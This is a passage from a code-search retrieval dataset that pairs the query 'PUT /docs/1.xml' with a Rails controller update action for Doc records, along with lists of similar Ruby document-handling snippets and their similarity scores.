else\n rev.destroy\n main.destroy\n render json: document.errors, status: :unprocessable_entity\n end\n end", "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html{\n flash[:success] = \"Document has saved successfully!\"\n redirect_to @document\n }\n format.json {\n url = url_for @document\n render json: {\n status_code: 0,\n response:{\n url: url\n }\n }\n }\n else\n format.html{ render 'new' }\n format.json {\n render json: {\n status_code: 1,\n errors: @document.errors\n }\n }\n end\n end\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render jbuilder: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @doc_artefact = DocArtefact.new(doc_artefact_params)\n\n respond_to do |format|\n if @doc_artefact.save\n format.html { redirect_to @doc_artefact, notice: 'Doc artefact was successfully created.' }\n format.json { render :show, status: :created, location: @doc_artefact }\n else\n format.html { render :new }\n format.json { render json: @doc_artefact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @document = Document.new(document_params)\n\n if @document.save\n render :show, status: :created, location: @document\n else\n render json: @document.errors, status: :unprocessable_entity\n end\n end", "def get_doc \n @doc\n end", "def doc_params\n params.require(:doc).permit(:group_id, \n :user_id,\n :description,\n :uploaded_doc)\n end", "def create\n @doc_template = DocTemplate.new(doc_template_params)\n\n respond_to do |format|\n if @doc_template.save\n format.html { redirect_to @doc_template, notice: 'Doc template was successfully created.' }\n format.json { render :show, status: :created, location: @doc_template }\n else\n format.html { render :new }\n format.json { render json: @doc_template.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_path, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: document_path }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n\n end\n end", "def create\n @admin_documento = Admin::Documento.new(admin_documento_params)\n\n respond_to do |format|\n if @admin_documento.save\n format.html { redirect_to admin_documentos_url }\n format.json { render :show, status: :created, location: @admin_documento }\n else\n format.html { render :new }\n format.json { render json: @admin_documento.errors, status: :unprocessable_entity }\n end\n end\n end", "def doc_params\n params.require(:doc).permit(:title, :draft_title, :body, :body_sml, :draft_body, :draft_body_sml, :slug, :format)\n end", "def new\n @doc = Doc.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end", "def post(url_variables:, body:)\n ensure_service_document\n\n end", "def documents(params={})\n server.get(\"#{name}/_all_docs\", params)\n end", "def new\n @testing = Testing.new\n @testing.build_documents\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @testing }\n end\n end", "def create\n @published_document = PublishedDocument.new(params[:published_document])\n\n respond_to do |format|\n if @published_document.save\n flash[:notice] = 'PublishedDocument was successfully created.'\n format.html { redirect_to(@published_document) }\n format.xml { render :xml => @published_document, :status => :created, :location => @published_document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @published_document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t \n\tdata = unpack_document(params[:document][:datafile]) \n\tdoc_params = {:title => document_params[\"title\"], :date => get_date(document_params,\"date\")}\n\tif !data.nil? then\n\t\tdoc_params[:content] = data[:content]\n\t\tdoc_params[:styles] = data[:styles]\n\tend\n @document = Document.new(doc_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n document = params[:document]\n service_request_id = params[:service_request_id]\n organization_id = params[:organization_id]\n document_type = params[:document_type]\n\n # let's see how many existing docs we have before we upload\n document_count_before_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename\n xml.summary document_type\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n }\n end\n\n if !Document.service_request_folder_exists? service_request_id\n Document.create_service_request_folder service_request_id\n end\n\n sub_folders = Document.find_sub_folders_for_service_request service_request_id\n unless sub_folders.include? organization_id\n Document.create_service_request_organization_folder(service_request_id, organization_id)\n end\n\n url = Document::PATH + \"cmis/p/User%20Homes/service_requests/#{service_request_id}/#{organization_id}/children?alf_ticket=\" + ticket\n\n count = 0\n begin\n count = count + 1\n RestClient.post url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error creating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n new_document_count = count + document_count_before_upload\n document_count_after_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n\n while(document_count_after_upload != new_document_count) do\n sleep(0.5)\n document_count_after_upload = Alfresco::Document.number_of_documents_for(service_request_id)\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end", "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end", "def create_doc(doc, opts = {})\n data, _status_code, _headers = create_doc_with_http_info(doc, opts)\n data\n end", "def upload\n doc = DocumentService::Document.create!({\n original_filename: params[\"original_filename\"],\n content_type: params[\"file\"].content_type,\n document: params['file'].tempfile,\n public: true\n })\n render json: {id: doc.id}, status: :created\n end", "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_path, notice: 'Document was successfully uploaded.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render new_document_path }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def index_document( url_string = 'http://localhost:8983/solr/update' )\n index_doc = create_base_add_doc\n root = index_doc.root\n begin\n doc = to_solr_index_doc\n root << doc\n #set up basic connection\n @url = URI.parse( url_string )\n @http = Net::HTTP.new( @url.host, @url.port )\n \n response, body = @http.post( @url.path, index_doc.to_s, { 'Content-type'=>'text/xml; charset=utf-8' } )\n \n response, body = @http.post( @url.path, \"<commit/>\", { 'Content-type'=>'text/xml; charset=utf-8' } )\n\n rescue Exception => ex\n #puts \"Something went wrong with item: #{item.id}: #{item.title}\"\n puts ex.inspect\n puts ex.backtrace\n end\n end", "def documentation\n @docotype = params[:docotype]\n if @docotype.blank?\n flash[:error] = 'Documentation type must be specified. Redirected to default documentation. If you arrived here from a bookmark or link, please update.'\n redirect_to :action => 'documentation', :docotype => 'text'\n return\n else\n @doco_elements = Doco.build_doco(@docotype)\n end\n end" ]
[ "0.72255415", "0.69308174", "0.68725294", "0.6734816", "0.6687378", "0.6622471", "0.6555408", "0.6531164", "0.63429826", "0.63218117", "0.62255645", "0.61715496", "0.6109518", "0.6066895", "0.60663134", "0.6059903", "0.60576105", "0.6051622", "0.601317", "0.60018414", "0.599219", "0.5986888", "0.59686744", "0.59629184", "0.5954204", "0.5951019", "0.5915174", "0.5910572", "0.5889196", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.58721024", "0.5870519", "0.58642435", "0.58578277", "0.585595", "0.585595", "0.5853527", "0.5849155", "0.5832734", "0.5830943", "0.58250266", "0.581482", "0.5807075", "0.57970405", "0.57959676", "0.57849276", "0.5770449", "0.5743985", "0.5737445", "0.5717612", "0.5714171", "0.57083267", "0.5706691", "0.5698427", "0.5693006", "0.56903964", "0.56903964", "0.5674989", "0.5674675", "0.566657", "0.566065", "0.5655135", "0.5651534", "0.5650144", "0.56418616", "0.56370854", "0.5633054", "0.5625018", "0.56140745", "0.56060505", "0.56020725", "0.5601203", "0.55881846", "0.55867535", "0.55850697", "0.55795103", "0.55710024", "0.5570703", "0.556774", "0.5558549", "0.5554938" ]
0.6372228
8
PUT /docs/1 PUT /docs/1.xml
def update @doc = Doc.find(params[:id]) respond_to do |format| if @doc.update_attributes(params[:doc]) save_object_relationship format.html { redirect_to(@doc, :notice => 'Doc was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @doc.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n replace_entry \"word/document.xml\", doc.serialize(:save_with => 0)\n end", "def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end", "def update\n save_doc\n end", "def put_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end", "def update_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}/_update\")\n req = Net::HTTP::Post.new(uri)\n req.body = { \"doc\": document }.to_json\n run(uri, req)\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end", "def update\n @doc = Doc.find(params[:id])\n\n respond_to do |format|\n if @doc.update_attributes(params[:doc])\n format.html { redirect_to(@doc, :notice => 'Doc was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @documentation = Documentation.find(params[:id])\n\n respond_to do |format|\n if @documentation.update_attributes(params[:documentation])\n flash[:notice] = 'Documentation was successfully updated.'\n format.html { redirect_to(@documentation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @documentation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n\t\traise RuntimeError, \"Not authorized\" unless current_user && current_user.root? == true\n\n\t\tparams = doc_params\n\t\tparams[:body].gsub!(/\\r\\n/, \"\\n\")\n\t\t@doc = Doc.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @doc.update(params)\n\t\t\t\tformat.html { redirect_to @doc, notice: t('controllers.shared.successfully_updated', :model => t('activerecord.models.doc')) }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @doc.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "def update!(**args)\n @docs = args[:docs] if args.key?(:docs)\n end", "def update\n @tdoc = Tdoc.find(params[:id])\n\n respond_to do |format|\n if @tdoc.update_attributes(params[:tdoc])\n format.html { redirect_to(@tdoc, :notice => 'Tdoc was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tdoc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def put( doc, opts = {} )\n response = http_action :put, doc, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end", "def update(doc, uri=nil, content_type=nil)\n return _put_doc(doc, uri, content_type)\n end", "def update\n @docent = Docent.find(params[:id])\n\n respond_to do |format|\n if @docent.update_attributes(params[:docent])\n format.html { redirect_to(@docent, :notice => 'Docent was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @docent.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index_document( url_string = 'http://localhost:8983/solr/update' )\n index_doc = create_base_add_doc\n root = index_doc.root\n begin\n doc = to_solr_index_doc\n root << doc\n #set up basic connection\n @url = URI.parse( url_string )\n @http = Net::HTTP.new( @url.host, @url.port )\n \n response, body = @http.post( @url.path, index_doc.to_s, { 'Content-type'=>'text/xml; charset=utf-8' } )\n \n response, body = @http.post( @url.path, \"<commit/>\", { 'Content-type'=>'text/xml; charset=utf-8' } )\n\n rescue Exception => ex\n #puts \"Something went wrong with item: #{item.id}: #{item.title}\"\n puts ex.inspect\n puts ex.backtrace\n end\n end", "def update\n DOCUMENT_PATHS.each do |attr_name, path|\n if path.match(/\\*/)\n instance_variable_get(\"@#{attr_name}\").each do |simple_file_name, contents|\n replace_entry(\"word/#{simple_file_name}.xml\", contents.serialize(save_with: 0))\n end\n else\n xml_document = instance_variable_get(\"@#{attr_name}\")\n replace_entry path, xml_document.serialize(save_with: 0) if xml_document\n end\n end\n end", "def put!\n request! :put\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to(@document, :notice => 'Document was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update_doc(doc)\n id = doc[\"_id\"] if doc[\"_id\"]\n\n @conn.query({url_path: \"#{database}/#{id}\", opts: doc, method: :put})\n end", "def update\n @document = Document.find(:first, :conditions => [\"id = ?\", params[:id]])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n flash[:notice] = 'Document was successfully updated.'\n format.html { redirect_to(@document) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path = '/files/', params = {})\n request :put, path, params\n end", "def update\n @tdoc = Tdoc.find(params[:id])\n \n respond_to do |format|\n if @tdoc.update_attributes(params[:tdoc])\n format.html { redirect_to @tdoc, notice: 'Tdoc was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tdoc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @docfile.update(docfile_params)\n format.html { redirect_to @docfile, notice: \"Docfile was successfully updated.\" }\n format.json { render :show, status: :ok, location: @docfile }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @docfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @documentation.update(documentation_params)\n format.html { redirect_to @documentation, notice: 'Documentation was successfully updated.' }\n format.json { render :show, status: :ok, location: @documentation }\n else\n format.html { render :edit }\n format.json { render json: @documentation.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n respond_to do |format|\n if @doc_file.update(doc_file_params)\n format.html { redirect_to @doc_file, notice: 'Doc file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @doc_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def request_doc\n \n end", "def update_document( doc_id:, filename:, content: nil, author: nil, actions:nil, callback_url:nil )\n params = {}\n params[:actions] = actions if actions\n params[:author] = author if author\n params[:callback_url] = callback_url if callback_url\n params[:backtrace] = @backtrace if @backtrace\n\n base_filename = File.basename(filename)\n response = nil\n if content\n with_tempfile(content) do |io|\n params[:file] = io\n response = send_request :post, \"document/#{@app}/#{doc_id}/#{base_filename}\", params, :json\n end\n else\n response = send_request :post, \"document/#{@app}/#{doc_id}/#{base_filename}\", params, :json\n end\n response\n end", "def update\n respond_to do |wants|\n if @document.update_attributes(params[:document])\n flash[:notice] = 'Document was successfully updated.'\n wants.html { redirect_to(@document) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n\tdata = unpack_document(params[:document][:datafile]) \n\tdoc_params = {:title => document_params[\"title\"], :date => get_date(document_params,\"date\")}\n\tif !data.nil? then\n\t\tdoc_params[:content] = data[:content]\n\t\tdoc_params[:styles] = data[:styles]\n\tend\n respond_to do |format|\n if @document.update(doc_params)\n format.html { redirect_to @document, notice: \"Document updated successfully\"}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @vendor_doc = VendorDoc.find(params[:id])\n\t@vdocs_requirement = @vendor_doc.vdocs_requirement\n\n respond_to do |format|\n if @vendor_doc.update_attributes(params[:vendor_doc])\n flash[:notice] = 'VendorDoc was successfully updated.'\n format.html { redirect_to(@vendor_doc) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vendor_doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @documents = args[:documents] if args.key?(:documents)\n end", "def save doc\n if doc['_attachments']\n doc['_attachments'] = encode_attachments(doc['_attachments'])\n end\n if doc['_id']\n slug = CGI.escape(doc['_id'])\n CouchRest.put \"#{@root}/#{slug}\", doc\n else\n CouchRest.post \"#{@root}\", doc\n end\n end", "def update!(**args)\n @doc_tag = args[:doc_tag] if args.key?(:doc_tag)\n end", "def update\n @document = Document.find(params[:id])\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.json { render :json => nil, :status => :ok }\n format.html { redirect_to(@document, :notice => 'Document was successfully updated.') }\n else\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update!(**args)\n @doc_id = args[:doc_id] if args.key?(:doc_id)\n @url = args[:url] if args.key?(:url)\n end", "def override\n document_id = params[:document_id]\n document = params[:document]\n document_type = params[:document_type]\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename if document\n xml.summary document_type\n if document\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n end\n }\n end\n\n url = Document::PATH + \"cmis/i/#{document_id}?alf_ticket=\" + ticket\n\n begin\n RestClient.put url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error updating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end", "def set_doc\n @doc = Doc.find(params[:id])\n end", "def update\n respond_to do |format|\n if @document.update_attributes(params[:document])\n save_log({ :action => 'EDIT', :document => { :before => @old_document, :after => @document}})\n flash[:notice] = 'Document was successfully updated.'\n format.html { redirect_to(@document) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n document = Document.find(params[:id])\n document.update!(update_params)\n render json: {}\n end", "def update\n if (@document = Document.find(params[:id])).update_attributes(params[:document])\n flash['notice'] = 'Document was successfully updated.'\n end\n respond_with @document, \n :location => site_document_url(@document.site.slug , @document.id.to_s)\n end", "def update\n @library_doc = LibraryDoc.find(params[:id])\n\n respond_to do |format|\n if @library_doc.update_attributes(params[:library_doc])\n flash[:notice] = 'LibraryDoc was successfully updated.'\n format.html { redirect_to(@library_doc) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @library_doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @doc.update(doc_params)\n redirect_to @doc\n else\n render \"edit\"\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, :notice => 'Document was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(i, documents, updates)\n return if (documents = Array(documents)).empty?\n\n index = XMLPipes::Index === i && i.klass == @klass ? i : indexes[i.to_sym]\n return unless index && index.docinfo.to_s == 'extern'\n\n documents.map! { |doc| @klass === doc ? doc.document_id : doc }\n attrs, values = [], {}\n\n index.attributes.each do |a|\n next unless updates.key?(a.name)\n v = a.cast(updates[a.name])\n documents.each { |doc| (values[doc] ||= []) << v }\n attrs << a.name.to_s\n end\n\n client.update(index.name.to_s, attrs, values) unless attrs.empty?\n end", "def update\n \t@document = Document.find(params[:id])\n if @document.update_attributes(document_params)\n render json: {status: 'SUCCESS', message:'Document updated', data:@document}, status: :ok\n else\n\t\trender json: {status: 'ERROR', message:'Document not updated', data:@document.errors}, status: :unprocessable_entity\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to root_url , notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(docs, options = {})\n update(docs) && post_update!(options)\n end", "def update\n @doc.refused = false\n @doc.logs += \"Документ отредактирован #{DateTime.now}. <br> Документ повторно отправлен на подпись #{@doc.signer.name_with_initial}<br>\"\n respond_to do |format|\n if @doc.update(doc_params)\n format.html { redirect_to @doc, notice: 'Doc was successfully updated.' }\n format.json { render :show, status: :ok, location: @doc }\n else\n format.html { render :edit }\n format.json { render json: @doc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @client_doc.update(client_doc_params)\n format.html { redirect_to @client_doc, notice: 'Client doc was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_doc }\n else\n format.html { render :edit }\n format.json { render json: @client_doc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to :action => \"index\", notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to documents_path, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def update\n if @doc.update_from_params(params[:course_document])\n render json: @doc, status: :ok\n else\n render json: doc.errors, status: :unprocessable_entity\n end\n end", "def put(id:, url_variables:, body:)\n ensure_service_document\n end", "def update\n @document = load_document_from_params\n # generates sanatized params from params hash to update the doc with\n sanitize_update_params\n @response = update_document(@document,@sanitized_params)\n @document.save\n flash[:notice] = \"Your changes have been saved.\"\n if params.has_key? :add_another_author\n redirect_to({:controller => \"catalog\", :action => \"edit\", :id => params[:id], :wf_step => :contributor, :add_contributor => true}) \n else\n redirect_to( {:controller => \"catalog\", :action => \"edit\", :id => params[:id]}.merge(params_for_next_step_in_wokflow) )\n end\n end", "def orchio_put(jdoc)\n response = client.send_request :put, inst_args(json: jdoc)\n if cache.enabled?\n simple_cache.save(\n Document.new(\n response.body.to_hash,\n Metadata.new(\n :collection => ocollection,\n :key => @id,\n :ref => response.header.etag\n )))\n end\n set_ref_value response\n orchio_status response, 201\n end", "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, :flash => { :success => 'Document was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n params[:document][:version] = ENV[\"VERSION\"]\r\n params[:document][:username] = current_user.username\r\n @document = Document.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @document.update_attributes(document_params)\r\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @document.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update!(**args)\n @document_schemas = args[:document_schemas] if args.key?(:document_schemas)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @docs = args[:docs] if args.key?(:docs)\n @language = args[:language] if args.key?(:language)\n end", "def docs_to_write; end", "def set_docfile\n @docfile = Docfile.find(params[:id])\n end", "def update_document!(model, id)\n document = 